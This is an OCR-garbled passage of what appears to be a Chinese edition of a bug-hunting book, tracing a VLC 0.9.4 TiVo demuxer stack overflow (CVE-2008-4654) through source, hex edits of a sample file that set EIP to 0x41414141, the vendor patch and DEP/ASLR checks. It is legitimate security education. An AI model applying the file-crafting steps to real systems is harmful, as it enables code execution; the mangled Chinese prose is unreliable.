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F1-1  FH PR ERYIE F

BRIERSK WO &R AR
Microsoft WinDbg (kB A 2 45y HIaE) 2
Windows OllyDbg & #:35 #4 Immunity Debugger &
Linux The GNU Debugger (gdb) B
Solaris The Modular Debugger (mdb) =
Mac OS X The GNU Debugger (gdb) v
Apple i0S The GNU Debugger (gdb) &

XA R TN, B AT AR B.1 . B.2 74l B4
Ta | —2iRAASE AR E

142 KiCHIR

BERE—MNEARABEAEF, ol hEd L HICERS . FilaSEE R
LCH#BEPIZNABOIEE, HEEARBEW, AIBAH A . Interactive
Disassembler Professional ( IDA Pro ) M Tk —25 1, B32HF 50 ZFpALHIZE R
7|, LT RFAOREME., AIY BN, £FAEEMRERIEE (code graphing ).
BArAT R R ey i8S, IDA Pro B40& T H., H4NA{E /4 7] 2% Chris Eagle
i) {IDA Pro fgi#6 R (5% 2 kit ))

1.5 EIP = 41414141
AT ERIXLE bug TR S HIL 20, 3 fe4 £d/a@r s,

KA AunfEd s CPU 52454 (1P) O EIP—32 {35 4 6%t
KEBAHRIARRF T I B . 7524541 C1A=32)

o {135 4
TR E B (PC ) 7738 EATMA 2 2 Q RIP—é6e fu 6 T 455

( |ntel 64

RICRBEL R T — R EPITIE S Mms g, P
B TIXATAAS, el T Xz
BEPATH . BB T 8% B2 Uik
0x41414141 ( ASCII F4FH AAAA BT HIFR ). 0x41424344 ( ASCII F4F 5
ABCD W+ 75dbdlFon ) s HABKLIRME, KRS8 iER . FrLiZE
JAEEN R, MRFEEDR EIP = 41414141, FLERE R CSBUS X iR ARS

R

Q Ri5 (Bp PC >——Apple 1Phone
7 & ARM (h % 6549
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—BERTHSEH, REREFETULETER—IR 27T, ATHER
BHRWFERHERF. XTRAARAEFFAZOELZFEE, AIEIZ% Jon Erickson
B (BEZIHE: RAEEYZAR) (Hacking: The Art of Exploitation, 2™ edition ),
& Al LKA exploit writing, 7E Google I EEL(E EHHE#E.

1.6 &SXRiE

X—FERET KEEREAR, IRTRESARSE—E. 3EL, AHERFH
JL, BEERER HICSBRARX BRBNAZE, 0H T LUFERETT 250,
PRt ] DS BER SRR 1 A S Brihie EREE T SRR

— e

FE XL REFARRBE AT, HREBIMERET G, AhEEE
AAREFFE .

B iE

[1] Z% Pedram Amini # “Mostrame la guita! Adventures in Buying Vulnerabilities” , 2009,
http://docs.google.com/present/view?id=dccowpsd_20ghbpjxcr ( 5 41t http://bit.ly/xvDwAl ) ;
Charlie Miller 1 “The Legitimate Vulnerability Market: Inside the Secretive World of 0-day
Exploit Sales”, 2007 , http://weis2007.econinfosec.org/papers/29.pdf( 1t http://bit.ly/ytKqgpd );
iDefense Labs Vulnerability Contribution Program F http://labs.idefense.com/vepportal/login.html
( %24t http://bit.ly/xd4Vdj ); TippingPoint’s Zero Day Initiative F¥) http://www.zerodayinitiative.com/
( %ht http://bit.ly/zLbzEl ),

[2] Z7% Daniel Hodson ¥ “Uninitialized Variables: Finding, Exploiting, Automating” (presentation,
Ruxcon, 2008), http://felinemenace.org/~mercy/slides’/RUXCON2008-UninitializedVariables.pdf
( #4k hetp://bit.ly/zZjInx ).

[3] £% Common Weakness Enumeration, CWE List, CWE — Individual Dictionary Definition(2.0),
CWE-415: Double Free at http://cwe.mitre.org/data/definitions/415.htm] ( 52t hitp:/bitly/zThqAw ).

[4] &#http://www.hex-rays.com/idapro/ ( %21t http://bit.ly/y3Viqt ).

[5] B¥ Intel® 64 and I4-32 Architectures Software Developer 5 Manual, Volume 1: Basic Architecture,
http://www.intel.com/products/processor/manuals/ ( %2t http://intel.ly/wBUOQaN ).
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wos F 10 B 128, EMrB

A KIKET — T VideoLAN | ZXiBH VLC HREHESSFHHEMAE, REK
VLC, EFVTUEBITEMERERNBERZETLE L, R EECHHEA. H
BRI A X A RS R R SO A RHIER, VLC T KB U@t T
Ve, MXAEEBERELSBE W ALK bug,

3% Dick Grune # Ceriel J.H. Jacobs'' /& Parsing Techniques: A Practical Guide
—HP Bl “BITRRBAR G E RSN AN EER T ER AT
BR—NMRF VAR RIEFH $ 2 BR— DA R0, 684, BT
MR THEMEX, THAEF L& L5 5 14,

BE T VLC N TG Z G, AR EHERE 78— iR A
R—ANEHRAREXEDR (W A1), VLC IEMT—F4 4 Tive RUSRAASC
#&2X (TiVo BUF kil i 25 € FIRI X480 ) B, &R . $RHIXAS bug Z i,
MBIl XA AR, BEXHAGRREF XA HiA



8| 2% BT ER

2.1 =iwE

X A B A TRl 1) o K RamMme 2 @
Q$—4: 4 VLC PRERZSE R, windows Vista SP1 & L iz ¢~
Q F 4. R ARE. VLC 0.9.¢ R i dh ik &= & 1%,
QE=4. BEEMARHE.

T AR A R S R

211 E—%:. £ VLCHBREHASHEE

T#EIMES VLC MERMZEY, S m—1 VLC BHARRHEE T
T2

SEE BT MR8 A IS AR A ML AR AR P A B E A
e AR A AL BRSSP R ERGE 40 R 4R 54
B,

He AR PSRBT IR A HE, TR VLC B8 R4 2 R 284 A E 1 C
T SCEAEREE B 7 vie-0.9.4\modules\demux\ F 1~ ( WLI& 2-1),

B 2-1 VLC 5 FssiEe

212 ZE-H. 0FMAEEE
Rk, REXRRERE FSAENMARE., 2T % CRBE, &RE
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R X MG, AT E SR X T T

FERREHE  vic-0.9.4\include\vle_demux.h
)

4i'struct demux_t

42 {

43 VLC_COMMON_MEMBERS

44

45 /* Module properties */
46  module_t *p_module;

47

48 /* eg informative but needed (we can have access+demux) */

49 char *psz_access;

50 char *psz_demux;

51  char *psz_path;

52

53 /* input stream */

54  stream_t *s; /* NULL in case of a access+demux in one */

[..]

B SATTE GRS s, BRI AT (input stream ), X E R BRI,
R Fan B ab BE BB AR5 F .

213 FB=%F: REMABE

HE demux_t BABRGSHMA TR RMABRRORARE, REFABREHR M
FERERENSIH. SASIE—MED p demux->s 3| H, IMTEAAHEFE 1623
11 1641 7R . BRMBEFIRE, BEAH—AXFENTIH, REBSEERAL
¥, X, BB T FEX IR,

FEARFH  vic-0.9.4\modules\demux\Ty.c

eR parse master()
[..]

1623 static void parse master(demux_t *p_demux)

1624 {

1625 demux_sys_t *p sys = p demux->p_sys;

1626 uint8 t mst_buf[32];

1627 int i, i_map_size;

1628 int64 t i save pos = stream Tell(p demux->s);

1629 int64 t i_pts secs;

1630

1631 /* Note that the entries in the SEQ table in the stream may have
1632 different sizes depending on the bits per entry. We store them
1633 all in the same size structure, so we have to parse them out one
1634 by one. If we had a dynamic structure, we could simply read the

1635 entire table directly from the stream into memory in place. */
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1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650

(-]

BIF| 90 4

/* clear the SEQ table */
free(p_sys->seq_table);

/* parse header info */
stream Read(p demux->s, mst_buf, 32);
i_map_size = U32_AT(&mst_ buf[zﬂ]],
P_ sys >i bits per seq entry = i map size * 8;
i = U32 AT(&mst_ buf[EB]),
p sys->1 seq table size = 1 / (8 + 1 map size);

/* parse all the entries */
p_sys->seq_table = malluc{p sys->i _seq table size * sizeof(ty seq table t));
for (i=0; i<p sys->i seq table size; i++) {

strea- _Read(p_demux->s, mst_ bu¥ 8 + i_map_size);

/* size of bitmask, in bytes */

/* size of SEQ table, in bytes */

55 1641 17, PR¥X stream_Read ()iEH— TiVo AT 32B F P #= H %8
(i@t p_demux->s 51 ), RFRARE WX mst_buf H1, mst_buf ZE5E 1626 {7 HH,
% U32 AT M mst_buf PEHHAP#EGIE, REDARFSEAUTE
i map size H, 5 165047, PA¥X stream Read()FE-UKIBIEAR w1 A P il %
ERFRRENX mst buf ., HEX—IK, stream Read()fd FifH P #HIE
i_map_size X+ EH B mst_buf FEIEHI K/,

%1642 17,

RIRE X gt (W

A1),

T HREXTIXAS bug BYHIH, B 2-2 s

p_demix—>s

Tive ¥ %

=

728 (1

P 2-2 iR AR A RO BIAR R v X 0 B

(2}
1_Map_51zIe

a4 TR o) ¢
_-—-__,,-F'_‘__-—

RET

r

mst _but

\_//—__‘

Tive ¥ %

F‘,_d.ﬂ-'l'!".l)'t_:"i —%

1_Map_size+
iB

o

G ek

RET

mst_but

1_map_size

-

XA FE— A 5 M R S

3 3k U]

(1) TiVo A SCHF#) 32B I Fe il s 5 I HAR G v X mst_buf 7, HRZEn
X BIR/INEE: 32B,
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(2) NZE rpIX TREUT 4B B PR HIERTE) i_map_size 1,

(3) B A ] TiVo SRS 8 F P ERIEEE R mst_buf A, iX—K, EHIEY
BAEA/DHAZR i map size iHHRGH . W i map_size W{HMAT 24B, K4
REMXREL (WL AL1H ),

2.2 RRE¥HA

RFFX AW, ERIT T FTEMZEER,

Q—4. R—A Tivo M MRS I S
QB R—FAEBERTRRFAH,
QE=%#. B Tivo BEXH, # VLC B,
Q B BHGXA Tivo BE S, il EIP,

BHH—XHREAR bug, HEAIE— TAREFH— M IERR X
%, WS — 1 EFERIERE. XM HERRMAE—FTE,

2.2.1 i;i“ﬁ:ﬁ_}i\ TiVo Hﬁmﬁﬁ“ W 34 http://samples.mplay—

erhghu/ 8 A "Ryt dh3Eh. M

B %, M http:/samples.mplayerhqhw FHR T B EITLHB EitibR v %
XA TiVo BEISCEE 03 X TR

$ wget http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b

--2008-10-12 21:12:25-- http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b
Resolving samples.mplayerhq.hu... 213.144.138.186

Connecting to samples.mplayerhq.hu|213.144.138.186|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 5242880 (5.0M) [text/plain]

Saving to: “test-dtivo-junkskip.ty+~

1'}0’%[=========================}] 5,242’380 340“!5 in 225

2008-10-12 21:12:48 (232 KB/s) - “test-dtivo-junkskip.ty+  saved [5242880/5242880]

222 FZTH: #Z—FABBEEZHIITRIRBRE

EAF] Tivo UM AIFTE SRS, FrUliR HEERAEE FREED KR
parse_master() FIRIAABHIITINE
VLC m# Tivo X8, HHATUA T HE (51 HMARRBEERXA VLCH
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vlc-0.9.4\modules\demux\Ty.c ), HH3CpREH2E— 8 A Z Demux ().

)

386 static int Demux( demux_t *p_demux )

387 {

388 demux sys t *p sys = p demux->p sys;
389 ty rec_hdr_t *p rec;

390 block_t *p block_in = NULL;

391

392 /*msg_Dbg(p_demux, "ty demux processing" );*/
393

394 /* did we hit EOF earlier? */
395 if( p_sys->eof )

396 return 0;

397

398 /*

399 * what we do (1 record now.. maybe more later):

400 * - use stream Read() to read the chunk header & record headers
401 * - discard entire chunk if it is a PART header chunk

402 * - parse all the headers into record header array

403 * - keep a pointer of which record we're on

404 * - use stream Block() to fetch each record

405 * - parse out PTS from PES headers

406 * - set PTS for data packets

407 * - pass the data on to the proper codec via es_out Send()
408

409 * if this is the first time or

410 * if we're at the end of this chunk, start a new one

411 */

412 /* parse the next chunk's record headers */

413 if( p_sys->b first chunk || p_sys->i cur rec >= p_sys->i hum recs )
414

415 if( get_chunk_header(p_demux) == 0 )

[..]

X5 395 47H0 413 7 — @Mk (sanity check ) ZJ5, B 4157 HMT
PR%Y get chunk_header().

[..]
112 #define TIVO PES_FILEID ( oxf5467abd )

[..]

1839 static int get chunk_header(demux_t *p_demux)

1840 {

1841 int i_readSize, i_num_recs;

1842 uint8_t *p hdr_buf;

1843 const uint8_t *p_peek;

1844 demux_sys t *p sys = p_demux->p_sys;

1845 int i_payload_size; /* sum of all records' sizes */
1846

1847 msg_Dbg(p_demux, "parsing ty chunk #%d", p_sys->i_cur_chunk );

1848

1849 /* if we have left-over filler space from the last chunk, get that */
1850 if (p_sys->i stuff cnt > 0) {

1851 stream_Read( p_demux->s, NULL, p_sys->i_stuff_cnt);
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1852 p_sys->i_stuff cnt = 0;

1853

1854

1855 /* read the TY packet header */

1856 i_readSize = stream_Peek( p_demux->s, &p_peek, 4 );

1857 p_sys->i cur chunk++;

1858

1859 if ( (i_readSize < 4) || ( U32_AT(&p_peek[ 0 ] ) ==0))
1860 {

1861 /* EQF */

1862 p_sys->eof = 1;

1863 return 0;

1864 }

1865

1866 /* check if it's a PART Header */
1867 if( U32_AT( &p peek[ 0 ] ) == TIVO_PES_FILEID )
{

1868

1869 /* parse master chunk */

1870 parse_master(p_demux);

1871 return get_chunk_header(p_demux);
1872 }

[..]

5 1856 17, FEPAYK get chunk header()tln TiVo X R P 6 BUE R LS

4T p_peeko ZJE, 1867 17, BIFRAE p_peek MMM XHBERETFT
TIVO PES FILEID( 7E4 112 F78E XA oxfs467abd ), FHSE 5 A FHAF7E IR R #Y BB 4K
parse master() (%% 187047 ),

TR X AR PIT R AT IR B R 3, X1~ Tivo BB L7 24
2 TIVO_PES_FILEID MI{H. REB N XM FHERXNMEMNEL, EXHR
0x00300000 JREEALFRE] 1 ( WA 2-3 ),

00300000h: [F5 46 7A BD] 00
08 00

00 01 F7 OFZH. e eivnnnnn =,
00300010h: 00 00 00 00

04 ;
00 01 48 ; ........ ;5E....H

00 00 G 00 02
00 00 O

02 00 00
2 3B 9A (A 00

B 2-3 TiVo BHISCHEY TIVO_PES_FILEID {HARR

M parse_master()pREAT LAAIE ( W F AR B ), i_map_size HI{EL
FE3CHF TIVO_PES_FILEID {EEL=UA B( U RS 0x00300000 4t YF RS 20( 0x14 )
B H o

[..]

1641 stream Read(p demux->s, mst buf, 32);

1642 i_map_size = U32 AT(&mst_buf{20]); /* size of bitmask, in bytes */
(..]

XAt, AR TFTEMX Tivo FEH L4 C 4 RE W ik & 77 7 I8 1 /) bR 4K
parse_master() T, BMALFHITIETIHE, KET!
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223 E=%. XX TiVo BE T, 1 VLC BiiR

Tk, RERXBHGXA Tivo BEFI 4L M http://download.videolan.
ff VLC Flit. Ailt, RAFTEBIGXMERISL ora/pub/videolan/vlc/0.9.4/win22/
b i map_size FRI7EMRBAI B 4B (7EXE B VIC & Windous BR 4336
&M 0x00300014 4t ), A

mE 2-4 iR, HBIESHRFE 0x00300014 2B 32 f{EM 0x00000002 BAAY
0x000000Ff, Hr{E 255 (oxff) 17 B B(F 32B K/NRIRRE X &, HFHE
m iR AP RFEXRE WX 2 R FHal (0L A1 ), #RfE, A Immunity
Debugger” LT A VLC 13X ek shid MREB SCHF o LB SUHR Z BT —FEFF
WRIEH, —BHATRIMGEh S MBEE, UM ZIE VLC #BERstmint 7, 458w
& 2-5 TR

00300010h: 00 00 00 08 {00 00 00 02|38 9A CA 00 00 00 O1 48 ; ........ 5E....H
00300010h: 00 00 00 08|00 00 00 ff|3B 9A CA 00 00 00 01 48 ; ........ ;3E....H

A 2-4  TiVo BEHI L4 i_map_size FIFTE

& 2-5 Immunity Debugger P/ VLC dEH A
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AR, VLC ZEMX MR TiVo SUHBTAET 1 o X ARRIRE
5, HARELIE4HF4E2% (EIP register) F8[A T — P ERHAFE CAREHIR
AR R{5 B Access violation when executing [20030000]18] LAUEHA ). X ERE K

AJ AR B 3l 1E TR E o

224 EMEH: BEOX1 TiVo BRI, #=§ EIP

T—SRTEREFFI AT NEE 7 4AitRM ( stack frame ) H1HR
ElHhE, XEERBERER S EIP T, IR B/R, B BB eIP 9{E 5 0x20030000,
HEX MEREM BN IR, R ZRIHTEHFEASCHRE, el IERE
BN PR RXMERNF IR, REFEF X, MRS 0x00300000
MIFIRIE R, G5RAE M ox0030005¢ 4bRE| TAHEMNFEHFY], FRE/NG
FoniE (little-endian ), FILX 4 775 F{ERUR 0x41414141 (1N 2-6 F7s ),

00300050h: 56 4A 00 00 03 1F 6C 49 6A A0 25 45|00 00 03 20|; V1....1Ij % E...

!

00300050h: 56 4A 00 00 03 1F 6C 49 6A A0 25 45|41 41 41 41); VI....1Ij % EAAAA

B 2-6 TiVo FEFISCHFf EIP BIFEE
RIGTEIRSFPEFIZTT VLC, FTHXA# 3 (il 2-7 FiR Do

: e ;
i B Mx b MY E

el o W o B B BB e B
B 6% b i MHHH A | emtwd
- Registers (F
Wi A%

B 2-7 VLC SR HE%EY EIP #2551
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EIP = 41414141---EIP #HI TS 5E ) R T LIME - NAER TR AR
P, 2R jmp reg TR R LIEFELEIT (arbitrary code execution ) I,
David Litchfield 7E “Linux #1 Windows T J&{A Fi| FHE AR B2 7 ( Variations in Exploit
Methods Between Linux and Windows )” " — 33 3| TiX R AR

RAZERXAN RN . o] TEARFEABRRF, HAYEE %R L
XEA, BB, VR LIEF R M A — 8 75 55 br i i F B2 9 P 5
g, B

2.3 miEfZIE

2008 F o Bis 8., B~

BREEIA T XNELERA, \TURHINARXATFE, ATLABRREMAAH A
#, “MIE" iSRRI, HFEIMBITEAANT o X BRA # T e R
F# & (responsible disclosure ), XM ARG /RHAA T T ARARTUER (T
SERRFFAEANL ), B LA ek B e pl th AR ¢ R R 3 . ( coordinated disclosure ).

H—IH, REATLIEH CHAMH &4 kiR Z %A (vulnerability broker ),
B S IRREHTRE . 35, BT RN EERYHRE Verisign
iDefense Labs $2£f) “VCP i+%1]” ( Vulnerability Contribution Program® ) il Tipping
Point A &) “ZDI 81" ( Zero Day Initiative® ), VCP Fl ZDI #BRLFE UHE A IR 1 %
BB, SZIEMBFEZREEE,

AH—TEERETAWE (full disclosure ), MMREFTLHEE, RESHMAK
EARmAEEMARRELSH EHE. A HKMAIEN AT EK, EEMNEENE
PLEF A IEBEE XA bug (HlnfE B dieg ), ©

KA EMAY VLC Wik, REFIMERESE. Wi, REM T VLC
M E, ROUEGMMNLENELR, SMHMTPMEEREAFTHEFEN L,

K bug AT VLC Mg E2ZE, MiIFA TINTF 4T RAL X MRR. U

D X5 B AT M Verisign E77 M2k 2], vulnerability intelligence B B %54t % http://vrsn.ce/xyFawL.

&

@ ZDI i RIs#T H iR, Zero Day B A M¥i A http//www.zerodayinitiative.com/, 451k 4 http/bit ly/zLbzEl,
—EHITE
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--- a/modules/demux/ty.c
+++ b/modules/demux/ty.c
@@ -1639,12 +1639,14 @@ static void parse master(demux_t *p_demux)
/* parse all the entries */
p_sys->seq_table = malloc(p_sys->i seq table size * sizeof(ty seq table t));
for (i=0; i<p_sys->i_seq table size; i++) {
- stream_Read(p_demux-»>s, mst_buf, 8 + i_map_size);
+ stream_Read(p_demux->s, mst_buf, 8);
p_sys->seq_table[i].1_timestamp = U64_AT(&mst_buf[0]);
if (i_map size > 8) {
msg Err(p demux, "Unsupported SEQ bitmap size in master chunk");

+ stream_Read(p_demux->s, NULL, i_map_size);
memset(p sys->seq _table[i].chunk bitmask, i map size, 0);
} else {
+ stream_Read(p_demux->s, mst_buf + 8, i_map_size);

memcpy(p_sys->seq table[i].chunk_bitmask, 8mst buf[8], i _map size);
}

Bt ek sh a2 51 . 22 Aij V8 FH eR %X stream Read () A TR la BRAE 250, T 46 AR &
EXR/ME, FHHIUCE PRI i_map size{B/NTF% T 8it, A4E N stream Read()
FERBAR/AME, X — TR bug B RBEIE T

BRFEFE %, XM EFAENBERTE? & i map_size WARIPRERH
SRR, IR KTFET 0x80000000 H{HIRZS i map_size, ES#HMABEM—1
i, FRAMRETE stream_Read() MBEIANT else 4332 memcpy () %L
KA (EAFSEAUNFSRAUMNBYEREE L A3 77 ). RITXA AR ELH
T VLC By, SR MMNIXITT— 4T, ©

[..]
@@ -1616,7 +1618,7 @@ static void parse master(demux t *p demux)

demux_sys t *p_sys = p_demux->p sys;
uint8 t mst buf[32];
- int i, i_map_size;
+ uint32_t i, i_map_size;
int64 t i save_pos = stream Tell(p demux-»>s);
int64_t i_pts_secs;

AR i map size BAMEHET, X bugBHEBRET . LIFREREE
P eR%Y parse_master() B A H—E Xk w17 . RELEX bug ESRT
VLC W&, TREAHE, FHAEF VLC 4irHFRUENE AT, EL
FEXA bug IEE T .

iFRBLIF AR , Windows Vista ¥ A —FMETRFRIE F IR FH Z##H R exploit
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mitigation technique ), JoE:RHIEFR#EH] EIP LI K fFH jmp reg FEARPUTHRZ B
EES, %2 cookie ( security cookie ) Z/GS F¥P: R % BEBH 111K [l bl g B8,
5k, ASLR 2% NX/DEP K% ] LABG IEEEARIAT (BTA XL MERAR K4
faR R C.175 ),

KT IBYSX AN EER, T T Process Explorer”, Bt 85 0] UL B /R 2K DEP
A ASLR R

¥E A T #E Process Explorer AR 7 #4265 DEP #» ASLR i &, REMBAR
( View )3& T A F 5 : View > Select Columns > DEP Status # View > Select
Columns > ASLR Enabled, st9}, HRETRHFET ok EALFME NG
DLL, 3 H3§4 7 ASLR Enabled 5!,

Process Explorer A% N 2-8 fix, B/R T VLC RHMSRE A #H DEP
M1 ASLR ( [R5 DEP #1 ASLR FHZMH ). RBLEHFEAMNE, EHhE T4 VLC
HERRE A X L R R

L A O S i T e R
ul Process Explorer - Sysintemnats: wwn.syainternale.com [auroraitk] i Eekic o 1“%‘]1
File QOptions  Veew Process Find DL Users Help

@ o= @3 F < ad HENEE N

| Process PID CPU Prvate Bytes  Working Set DEP ASLR

5’- m’ ({ l": e -: 1 ‘ o Nﬁ’ m >{ e w {M 4 :-' 1- i ‘+* ::E' i ' .,";"‘1. ":
ol POCEND e 2572 !53 1EJA0K 54 i DEF IIII'III-'I} HSlE i
| Ejconmesem | 3men 100K 428K ~
Mame ' Diescrption Compary Name Wersion ASLR

. ilmd'lm-e-wg-_-r_ph.ugr.;#
Hilbsmple _channel_moer_plaorn df
libsiorns?d_phagir di

|ard _piugin di

ii:tlt:x»_p-l_:g'.ll'l a

jibta_phogn dil ;
i'&:l.rgi;'.__rt!a'rder;p-.g." o

bved_plogn dil

irvic o

kb viccore di VLE media pleyer the VideoLAN Team 3540

CPU Usage: 306% Commut Charge: 1375% Processes 46 Physical Usage: 31 89%

A 2-8 Process Explorer ) VLC

DEP A] # 24t K HE ( system policy ) iELFFFRAT API FlgwiFat LIS (£
F DEP B8 215 B LR L2 0r5E KbitriEz '), 42 Windows Vista XHEER
B PIREE RGP BRIAM R SR (system-wide ) DEP FBEFR A Optln, 7EiXFhHR
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RS #ER P, DEP {UXTEABMA DEP M#EERIEM. HARMME 32 {
Windows Vista #/E RGERIBUIN LS, REY DEP ML %2 50 & M Optln Y, X
TRIFX—&A, REFE AR S1T (elevated command prompt ) 9 A
‘bededit.exe 21T FREFF o

C:\Windows\system32>bcdedit /enum | findstr nx
nx OptlIn

Za A i B BR T RS HE T DEP &Y Optln #/EHACE , Xk
THtHA VLC BAEHEWOR . RER AR A IAZ| DEP F.

fE—HEIMA DEP F A LR, ZBK3, AT LATESR PRAT (8 S 2469
FEHFT L (/NXCOMPAT ), 5& 7T LA# R API SetProcessDEPPolicy, LAZwFE T\
B0 I AF] DEP H,

A T 2R VLC & 2 HE £, 3, LookingGlass 93 T
g s a T thAT S (K 2-9 ), 1Y

[H Locking Glass |..'.T-.'!...|_'Eﬂ.m -ﬁkrz &7 Visuwal C++ 2005 SPI
I A _ Eiﬁiﬂid:d]ﬁ'ﬁiqmtﬁﬂ
............... Processes ' s . .
Fle Sysiem | Rk
C-Program Files' VideoLAN'VLC [ Open.. | ~Humberoffles wihout ASLR | Q X #HH % % cookie/canary
| et MNumber of fles without NX f;'kuiwga‘/cs &.Im
i sk Numbar of files with dangemus .
| Y s | O % #5 ASLR &3 /DYNAMIC
| BASE ¥ 1
| Q ¥ ¥ DEP/NX #3/NXC-
| File Fath ASLR WX
||| Wbtnviai_resampler_phugindl  C\Program Fies\videoLANWLC\ . False  False || OMPAT ﬁ- 1]
| % Y X . = |
[ || libts_plugin.di C"Program Files Widso LAN'WLE false  False :
' | lbtta_phegin.di CProgram Fles wideo LANWWLC" False False D ﬁ *% % # % & ﬁ #F ﬁ
i || Ebtwolame_phign di C\Program Files \WideaLANWLC False False | FESEH : ﬁ
Sy pes C \Pagran Fies \wideo GANAVLCY... ' /SAFESEH 3 1
bugly resampler plugind  C\Program Fles'\video LANVWLE Calse False
| w1 _phugin dil C\Program Fles \wideo LAN ' WLC Falsa False
libved_plugn.di CProgram Filss \wWideo LAN'WLC Falga False
| lbvisual_plugin di C\Program Fles\vidsoLAN'WLC\ . False  False |
| Wowmem_plugin | C*Program Files\Wideo LANAWLEY False False = |
| Ready o ooy - v -1 S

P 2-9 LookingGlass 33 VLC 45 %
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B 2009 -, MEARAKA T —# L™ BinScope ¢ — it H] X4 TR, F&ERH
$HR, TASHit# 4+ &S E ok,

LookingGlass 774 1% VLC i BE B A 1 ASLR , 34 (# F DEP&4EFF [,
VLC IR ASH) Windows BARASRETE Cygwin "B FHiFR, XE—EE
Windows #4E R4 FizfT Linux BEHIPMER T RE . FARZ ARSI MSEETIT (X
TETREKRY Visual C++ 2005 SP1 RZJahi4 F3FF (HI Cygwin A3ZHs), Frli
VLC ALFRHAFTE,

HE VLC WEAr & B3R %

[..]

Building VLC from the source code

[..]

- natively on Windows, using cygwin (www.cygwin.com) with or without the POSIX
emulation layer. This is the preferred way to compile vlc if you want to do it on
Windows.

[..]
UNSUPPORTED METHODS

[..]

- natively on Windows, using Microsoft Visual Studio. This will not work.

[..]

BiXEHAAR, VLC #EA ] Windows Vista X2 5 & A RGBT
WiAFFASMmEA, Hit, J7E Windows F VLC 48—/ bug R ZE S FIHEY,
BRAR 20 SERTIX S BZ R A B I B E S R —AE

2.4 £

YER—ZREFR, BHBILLTILA

Q FJEAZMERFREA (BECHERE. RERES ).

Q FEAEFHRZEBIEAEERKES A

0 REA[RE, FUEAARBRERGERUENRIAFHEBEA ., 7 Windows
H, BB FTERAY Visual C++ 2005 SP1 BUE BT AR 1%, FHHEHE
ERRE, BT, B4, WMAKEM T Enhanced Mitigation Experience
Toolkit '), AAAF—EAFEMBEMBEARALTESTRIFET HEENA,

YE— R R E AR A, EME.

Q AEAEMREERECHRY REE (WL2577 ).
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2.5 %pFE
2008 F 10 B 208, Eiy-

XMNRIAMEEE, VLC &4 THIRA, FFUEREBSHMN FAHB T —1
PE e 244 (B 2-10 BoR TaFE ), XA bug %5 & CVE-2008-4654

EE M E MITRE #4605, A ey RA K E+H RS ( Common
Vulnerabilities and Exposures Identifiers ) ( &.#k4E CVE &%, CVE %% .
CVE-ID & CVE) & “HKAT oo iRl 5 L oE—. AXFAF",

VLCHE 4 & 1% 3103

VICHi+F B 8 1R A 173 T 5 dVLCHR @ % KEHITERE

\ N

2 8
10 .18.2008 10 . 20. 2008

A 2-10 iz A E
w09 F 1B sB, FHy-

RIS bug AR AFFHAREHOBIERR, REBIBEZXE VLC HF HIHE
#, HP@RH TEMSHENRE, TEXENERE T —iH k-
RZ AT RZ AT Tivo MR X HR X, A4 47
o R X ARFA VLC 377 TiVo A4, REFHELT?
PSR AR A A, FrUAREAD, M TIRLMNTERM TR T 0
¥ RAEA MG B WA, REESERTHENBXEER? REAT
ANUEH G AN E — A XSRSk, (BELR, BRAANZZARERSHX
Nhe FTRXHT RBREFES? A, EIAAE. Tivo UHEHTEHY RE L. ty,
{B/8 2 Al ERH I Bt F B X2 M fun.ty UK funavi, fun.mov, fun.mkv E{HAth
(R AEE AR TR S8 VLC B B 24— Tivo ST 3403,
H R VLC L HM A MBS —FF, AR XY R A KRB
N0
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Mt iE

[1]

(2]

(3]

(]
[6]

[7]

[8]

kd

£% Dick Grune 1 Ceriel J.H. Jacobs i) Parsing Techniques: A Practical Guide, 2™ ed. (New
York: Springer Science+Business Media, 2008), 1.

VLC iR A AR n] LA F B R # . http:/download.videolan.org/pub/videolan/vic/
0.9.4/vlc-0.9.4.tarbz2 ( Fahk http://bit.ly/wYcz2m ),

Immunity Debugger &—sAEEHIEET OllyDbg #9 Windows Ilia%. BH —MRIFHEE
MR (GUL) LLERFZESNISIREFRA LR R R A AR . ATMELT
RIhE2KTE . http://www.immunityinc.com/products-immdbg.shtml ( 5 1thttp://bit.ly/yMzrDR ).
£ David Litchfield ¥ “Variations in Exploit Methods Between Linux and Windows” , 2003,
http://www.nccgroup.com/Libraries/Document_Downloads/Variations_in_Exploit_methods_bet-
ween_Linux_and Windows.sflb.ashx ( £G4k http://bit.ly/wV12Qq ).

I, http://www.trapkit.de/books/bhd/ ( 4Gt http://bit.ly/yZX6td ).

XFRFAMRL T HURATHN ., UMERRASELKEEEE, ITS% Stefan Frei, Dominik
Schatzmann, Bernhard Plattner 1 Brian Trammel ] “Modelling the Security Ecosystem—The
Dynamics of (In)Security” , 2009, http://www.techzoom.net/publications/security-ecosystem/ ( 4
hbnhttp://bit.ly/wsP3rv ),

VLC ] Git ] ML T MIaEZRTE . http://git.videolan.org/, X4~ bug B —MEE AT
LAIMELT Mk 8 . http:/git.videolan.org/?p-vic.git;a-commitdiff;h-26d92b87bba99b5ea2el 7b
Teaa39c462d65¢9133 (& hkhttp://bit.ly/wLiglo ).

Z IR EFAIR VLC bug AEE AT LI LU F Rk F#R: hitp://git.videolan.org/?p-vlc.
git;a-commitdiff;h-d859e6b9537af2d7326276f70de25a840f554dc3 ( & it hitp://bit.ly/yNloxZ ),
T # Process Explorer, A L1/} http://technet. microsoft.com/en-en/sysinternals/bb896653/
( &4k http://bit.ly/wDIGy8 ).

[10] . http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology

part-1.aspx ( &4t http://bit.ly/xgUfSe ).

[11] LookingGlass s/ /I TR, 7L B REWESUIEESITHHR, MRIGHE —dH

OB A ASLR A1 NX. B /] LA AT P3R4 : http://www.erratasec.com/lookingglass .html
( 424k hitp://bit.ly/Aailkx ).

[12] E F# BinScope —#k#]4b7 T&, W] LLifiAlhttp://go.microsoft.com/?linkid-9678113 ( 4k

http://bit.ly/A69gM2 ),

[13] —H&2&F Microsoft Visual C++ 2005 SP1 F B 7 iU A< i I 11 1| FH 28 f B K (1947 3CEE  Michael

Howard ] “Protecting Your Code with Visual C++ Defenses” , MSDN Magazine, March 2008,
http://msdn.microsoft.com/en-us/magazine/cc337897.aspx ( %4k http://bit.ly/xPwnVH ),

[14] Z W http://www.cygwin.com/,
